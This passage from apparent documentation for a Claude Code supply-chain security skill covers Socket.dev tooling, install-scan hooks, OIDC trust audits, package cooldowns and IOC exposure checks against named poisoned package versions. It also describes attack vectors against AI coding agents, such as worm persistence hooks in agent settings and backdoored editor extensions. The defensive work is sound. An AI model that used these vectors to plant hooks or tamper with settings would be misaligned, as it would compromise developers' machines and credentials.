Enterprise)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" CLI (open source)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Malware / behavioural blocking, 70+ risk types","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Private repos (unlimited)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Scans / month","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1,000","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"5,000 → unlimited","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Members","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"3","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"10 → unlimited","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"depscore MCP for Claude Code (no API key)","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Reachability analysis (cuts CVE false positives)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"❌","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅ (Team+)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SSO/SAML, SBOM, GitHub Actions + AI-model scanning","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"❌","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"✅ (Business+)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"OSS projects","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Free ","type":"text"},{"text":"Team","type":"text","marks":[{"type":"strong"}]},{"text":" account on request","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"—","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Start free. Move to Team only when CVE false-positive noise or seat count justifies it. Full breakdown + exact commands in ","type":"text"},{"text":"references/socket-cli.md","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Setup (one-time)","type":"text"}]},{"type":"paragraph","content":[{"text":"All free, in priority order. The ","type":"text"},{"text":"scripts in this skill need no setup","type":"text","marks":[{"type":"strong"}]},{"text":" — run them directly. What you switch on is the live tooling:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"depscore MCP","type":"text","marks":[{"type":"strong"}]},{"text":" — behavioural package scoring inside Claude Code, no API key: ","type":"text"},{"text":"claude mcp add --transport http socket-mcp https://mcp.socket.dev/","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Install-scan hook","type":"text","marks":[{"type":"strong"}]},{"text":" — advisory on every dependency install. Wire ","type":"text"},{"text":"pre-install-scan.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" into ","type":"text"},{"text":"~/.claude/settings.json","type":"text","marks":[{"type":"code_inline"}]},{"text":" (see \"Hook setup\" below); set ","type":"text"},{"text":"SUPPLY_CHAIN_BLOCK=1","type":"text","marks":[{"type":"code_inline"}]},{"text":" for a hard gate. Restart Claude Code after editing.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Socket CLI wrapper","type":"text","marks":[{"type":"strong"}]},{"text":" (optional, zero-auth): ","type":"text"},{"text":"npm i -g socket","type":"text","marks":[{"type":"code_inline"}]},{"text":", then ","type":"text"},{"text":"socket npm install \u003cpkg>","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"socket wrapper on","type":"text","marks":[{"type":"code_inline"}]},{"text":". ","type":"text"},{"text":"socket login","type":"text","marks":[{"type":"code_inline"}]},{"text":" is only needed for ","type":"text"},{"text":"scan","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"score","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"ci","type":"text","marks":[{"type":"code_inline"}]},{"text":", not the install wrapper.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Behavioural engine (optional, on-demand)","type":"text","marks":[{"type":"strong"}]},{"text":" for ","type":"text"},{"text":"scan-extensions.sh --deep","type":"text","marks":[{"type":"code_inline"}]},{"text":": ","type":"text"},{"text":"uv tool install guarddog semgrep","type":"text","marks":[{"type":"code_inline"}]},{"text":". ","type":"text"},{"text":"Not installed by default","type":"text","marks":[{"type":"strong"}]},{"text":" — stay lean. ","type":"text"},{"text":"--deep","type":"text","marks":[{"type":"code_inline"}]},{"text":" auto-detects it; if absent, that mode runs inventory + recency and loudly recommends installing rather than reporting a scan it didn't run. On Windows GuardDog needs ","type":"text"},{"text":"PYTHONUTF8=1","type":"text","marks":[{"type":"code_inline"}]},{"text":" (the script sets it for you).","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Situational extras — install only when the need arises (","type":"text"},{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]},{"text":"): the behavioural engine above, OSV-Scanner (CVE breadth), zizmor + Harden-Runner (CI hardening). The minimum viable set is Socket's MCP + the cooldown + ","type":"text"},{"text":"ignore-scripts","type":"text","marks":[{"type":"code_inline"}]},{"text":"; everything else is on-demand.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Safety tiers","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Operation","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Tier","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Execution","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Score / scan a package before adding it","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T1","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inline (depscore MCP or ","type":"text"},{"text":"socket package score","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Detect project stack + installed tools","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T1","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inline","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Run ","type":"text"},{"text":"integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" (read-only)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T1","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inline","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Run ","type":"text"},{"text":"preinstall-check.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" on a package spec","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T1","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inline","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Behavioural scan of full manifest (","type":"text"},{"text":"socket scan","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T2","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inline / background","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Audit GitHub Actions for stale OIDC trust","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T2","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Inline (read workflows)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Install / upgrade a dependency","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T3","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Confirm + scan first","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Rotate publish tokens / revoke OIDC trust","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T3","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Confirm — changes live infra","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Remove a flagged persistence hook from settings","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"T3","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Confirm — edits user config","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Workflows","type":"text"}]},{"type":"paragraph","content":[{"text":"These map 1:1 to the briefing's recommended actions, ordered effort→value.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"A. Score a package before suggesting it (do this proactively)","type":"text"}]},{"type":"paragraph","content":[{"text":"When considering adding a dependency, get a behavioural verdict ","type":"text"},{"text":"first","type":"text","marks":[{"type":"em"}]},{"text":":","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"With the depscore MCP","type":"text","marks":[{"type":"strong"}]},{"text":" (free, no key): ask the ","type":"text"},{"text":"socket-mcp","type":"text","marks":[{"type":"code_inline"}]},{"text":" server for the package score. Setup is a one-liner — see ","type":"text"},{"text":"references/socket-cli.md","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"With the CLI:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"socket package score \u003cecosystem> \u003cname> \u003cversion>","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cooldown check:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"scripts/preinstall-check.sh \u003cpkg>[@version] …","type":"text","marks":[{"type":"code_inline"}]},{"text":" flags any package published inside the 7-day cooldown window and routes to ","type":"text"},{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" if installed.","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Never recommend a brand-new (","type":"text"},{"text":"@latest","type":"text","marks":[{"type":"code_inline"}]},{"text":", day-zero) release for a production path.","type":"text"}]},{"type":"paragraph","content":[{"text":"Score the ","type":"text","marks":[{"type":"strong"}]},{"text":"whole","type":"text","marks":[{"type":"strong"},{"type":"em"}]},{"text":" current project, not just one package","type":"text","marks":[{"type":"strong"}]},{"text":" — the depscore MCP takes a list, so read every dependency from the manifest and score them in one call: parse ","type":"text"},{"text":"package.json","type":"text","marks":[{"type":"code_inline"}]},{"text":" (","type":"text"},{"text":"dependencies","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"devDependencies","type":"text","marks":[{"type":"code_inline"}]},{"text":"), ","type":"text"},{"text":"requirements.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"composer.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Cargo.toml","type":"text","marks":[{"type":"code_inline"}]},{"text":", etc., then pass the full ","type":"text"},{"text":"{depname, ecosystem, version}","type":"text","marks":[{"type":"code_inline"}]},{"text":" set to depscore. Triage anything with a low ","type":"text"},{"text":"supplyChain","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"quality","type":"text","marks":[{"type":"code_inline"}]},{"text":" score before the next install or commit. This is the highest-value recurring local move — do it when opening a repo and after any dependency change.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"B. Trial Socket.dev on one repository (≈1 hour)","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pick the lowest-risk repo (small surface, low client exposure).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Install the ","type":"text"},{"text":"GitHub app","type":"text","marks":[{"type":"strong"}]},{"text":" (free tier, private repos included) — it comments a risk report on any PR that adds/bumps a dependency.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Optionally ","type":"text"},{"text":"npm install -g socket && socket login","type":"text","marks":[{"type":"code_inline"}]},{"text":" for terminal scanning.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Run for two weeks, review what it flags during PRs, then expand.","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"C. Wrap installs at the terminal (layer 2)","type":"text"}]},{"type":"paragraph","content":[{"text":"Route risky installs through Socket so they're intercepted before lifecycle scripts run:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"One-off: ","type":"text"},{"text":"socket npm install \u003cpkg>","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"socket npx \u003cpkg>","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Workspace-wide: ","type":"text"},{"text":"socket wrapper on","type":"text","marks":[{"type":"code_inline"}]},{"text":" (aliases ","type":"text"},{"text":"npm","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"npx","type":"text","marks":[{"type":"code_inline"}]},{"text":" → routed through Socket; ","type":"text"},{"text":"socket wrapper off","type":"text","marks":[{"type":"code_inline"}]},{"text":" to disable; ","type":"text"},{"text":"socket raw-npm","type":"text","marks":[{"type":"code_inline"}]},{"text":" to bypass once).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Claude Code reinforcement: enable the ","type":"text"},{"text":"pre-install-scan.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" hook (advisory by default) — see Hook setup below.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cheapest possible mitigation — ","type":"text"},{"text":"disable lifecycle scripts entirely","type":"text","marks":[{"type":"strong"}]},{"text":" where the project doesn't need them: ","type":"text"},{"text":"npm config set ignore-scripts true","type":"text","marks":[{"type":"code_inline"}]},{"text":" (npm), or pnpm ","type":"text"},{"text":"enable-pre-post-scripts=false","type":"text","marks":[{"type":"code_inline"}]},{"text":". This neuters the ","type":"text"},{"text":"postinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":" vector outright.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validate the lockfile itself with ","type":"text"},{"text":"lockfile-lint","type":"text","marks":[{"type":"code_inline"}]},{"text":" — catches a lockfile whose resolved URLs point at a non-registry host (lockfile injection). See ","type":"text"},{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"D. Audit GitHub Actions for stale OIDC trust (≈half a day)","type":"text"}]},{"type":"paragraph","content":[{"text":"The Mini Shai-Hulud entry point was an ","type":"text"},{"text":"orphaned commit with live OIDC trust federation","type":"text","marks":[{"type":"strong"}]},{"text":" to npm. No phished human. Audit and revoke:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Find workflows requesting an OIDC token: search for ","type":"text"},{"text":"id-token: write","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"permissions:","type":"text","marks":[{"type":"code_inline"}]},{"text":" blocks, plus ","type":"text"},{"text":"npm publish","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"pypi","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"twine","type":"text","marks":[{"type":"code_inline"}]},{"text":" / trusted-publisher steps. ","type":"text"},{"text":"scripts/integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" flags these.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"For each: is publish trust still needed? If not, revoke the trust relationship on the registry side (npm trusted publisher / PyPI publisher) ","type":"text"},{"text":"and","type":"text","marks":[{"type":"strong"}]},{"text":" remove the workflow permission.","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"E. Pin and freeze production dependencies","type":"text"}]},{"type":"paragraph","content":[{"text":"Commit lockfiles. Pin exact versions for anything in CI/prod. Apply a ","type":"text"},{"text":"7-day cooldown","type":"text","marks":[{"type":"strong"}]},{"text":": don't auto-update production deps until a release has aged a week, so the ecosystem has time to detect and remediate a compromise. (Axios poisoned versions were live ~3 hours — a 7-day lag would have caught it.)","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"F. Rotate publish tokens → short-lived OIDC","type":"text"}]},{"type":"paragraph","content":[{"text":"Audit who holds standing npm/PyPI publish tokens. Prefer short-lived OIDC trusted publishing over long-lived tokens. Rotate any long-lived token; tighten the set of accounts with publish access. (T3 — confirm before rotating, it can break CI.)","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"G. Editor extension / plugin audit (Nx Console / GitHub-breach vector)","type":"text"}]},{"type":"paragraph","content":[{"text":"Three layers, in order — known-bad, then visibility, then behavioural:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Known-bad (IOC):","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"python scripts/exposure-check.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" matches installed extensions (VS Code/Cursor/Windsurf/VSCodium) against the catalog — e.g. Nx Console ","type":"text"},{"text":"[email protected]","type":"text","marks":[{"type":"code_inline"}]},{"text":", the backdoor behind the GitHub 3,800-repo breach. Catches what's already named in an advisory.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Inventory + recency:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"bash scripts/scan-extensions.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" lists every extension, Claude plugin (with pinned commit SHA), and skill, flagging what changed inside the recency window — the exact \"no visibility into what's installed or how recently\" gap the campaign exploits (Nx Console was live 11 min). Zero-dependency, no false positives.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Unknown-bad (behavioural):","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"bash scripts/scan-extensions.sh --deep","type":"text","marks":[{"type":"code_inline"}]},{"text":" runs GuardDog's semgrep rules against recently-changed extensions when ","type":"text"},{"text":"guarddog","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"semgrep","type":"text","marks":[{"type":"code_inline"}]},{"text":" are present (","type":"text"},{"text":"uv tool install guarddog semgrep","type":"text","marks":[{"type":"code_inline"}]},{"text":", on-demand — not kept installed). If absent it runs inventory only and recommends the install — never a false-clean. Best-effort on minified bundles — layers 1–2 stay the backbone for extensions; layer 3 is strongest on source (plugins/skills).","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Verified-publisher status is ","type":"text"},{"text":"not","type":"text","marks":[{"type":"strong"}]},{"text":" sufficient — Nx Console was a verified publisher with 2.2M installs. Pause anything recently published by a non-verified publisher until it ages.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"H. Self-integrity scan (layer 4 — the one the briefing didn't have to worry about)","type":"text"}]},{"type":"paragraph","content":[{"text":"Run ","type":"text"},{"text":"scripts/integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":". It is ","type":"text"},{"text":"read-only","type":"text","marks":[{"type":"strong"}]},{"text":" and reports:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"New/unexpected ","type":"text"},{"text":"hooks","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"mcpServers","type":"text","marks":[{"type":"code_inline"}]},{"text":" entries in ","type":"text"},{"text":"~/.claude/settings.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"~/.claude/settings.local.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"~/.claude.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", and project ","type":"text"},{"text":".claude/","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Suspicious entries in VS Code ","type":"text"},{"text":"settings.json","type":"text","marks":[{"type":"code_inline"}]},{"text":" (startup commands, task autoruns).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Workflows with live OIDC publish trust (feeds workflow D).","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"A worm's persistence hook into Claude Code settings is the IOC from the briefing's most-quoted line. If the scan flags something you didn't add, treat it as an incident: isolate, rotate credentials, and investigate before continuing.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"I. Exposure response — \"an advisory just dropped; are we running it?\"","type":"text"}]},{"type":"paragraph","content":[{"text":"When an advisory names a poisoned package + version, the urgent question is which projects/machines already have it. Match local state against an IOC catalog:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python scripts/exposure-check.py --root ~/code --root ~/work\npython scripts/exposure-check.py --root . --json | jq '.data.findings[]'","type":"text"}]},{"type":"paragraph","content":[{"text":"It reads npm lockfiles and Python installed metadata (no execution, no network), exits ","type":"text"},{"text":"10","type":"text","marks":[{"type":"strong"}]},{"text":" if anything matches. The bundled ","type":"text"},{"text":"assets/exposure-catalog.json","type":"text","marks":[{"type":"code_inline"}]},{"text":" is seeded with cited 2026 IOCs (axios 1.14.1 / 0.30.4) and is meant to be ","type":"text"},{"text":"extended from advisories","type":"text","marks":[{"type":"strong"}]},{"text":" — add ","type":"text"},{"text":"{ecosystem, package, versions[]}","type":"text","marks":[{"type":"code_inline"}]},{"text":" entries as incidents break. A match is an incident: isolate, rotate, remove the package.","type":"text"}]},{"type":"paragraph","content":[{"text":"For ","type":"text"},{"text":"fleet-scale","type":"text","marks":[{"type":"strong"}]},{"text":" exposure response across many macOS/Linux endpoints (with far broader ecosystem + extension + MCP coverage), use Perplexity's ","type":"text"},{"text":"Bumblebee","type":"text","marks":[{"type":"strong"}]},{"text":" — whose catalog format this borrows. It does not run on Windows; ","type":"text"},{"text":"exposure-check.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" is the cross-platform local equivalent. See ","type":"text"},{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Hook setup — two checkpoints for the two ways a dep enters","type":"text"}]},{"type":"paragraph","content":[{"text":"A dependency reaches a local machine two ways, and each gets an advisory hook:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pre-install-scan.sh","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" (PreToolUse / ","type":"text"},{"text":"Bash","type":"text","marks":[{"type":"code_inline"}]},{"text":") — fires on install verbs (","type":"text"},{"text":"npm/pnpm/yarn/bun install|add","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"pip install","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"uv add","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"composer require|install|update","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"gem install","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"cargo add","type":"text","marks":[{"type":"code_inline"}]},{"text":"). Surfaces the cooldown + ","type":"text"},{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" equivalent. Set ","type":"text"},{"text":"SUPPLY_CHAIN_BLOCK=1","type":"text","marks":[{"type":"code_inline"}]},{"text":" for a hard gate; otherwise advisory.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"manifest-dep-scan.sh","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" (PostToolUse / ","type":"text"},{"text":"Write|Edit","type":"text","marks":[{"type":"code_inline"}]},{"text":") — fires when the agent 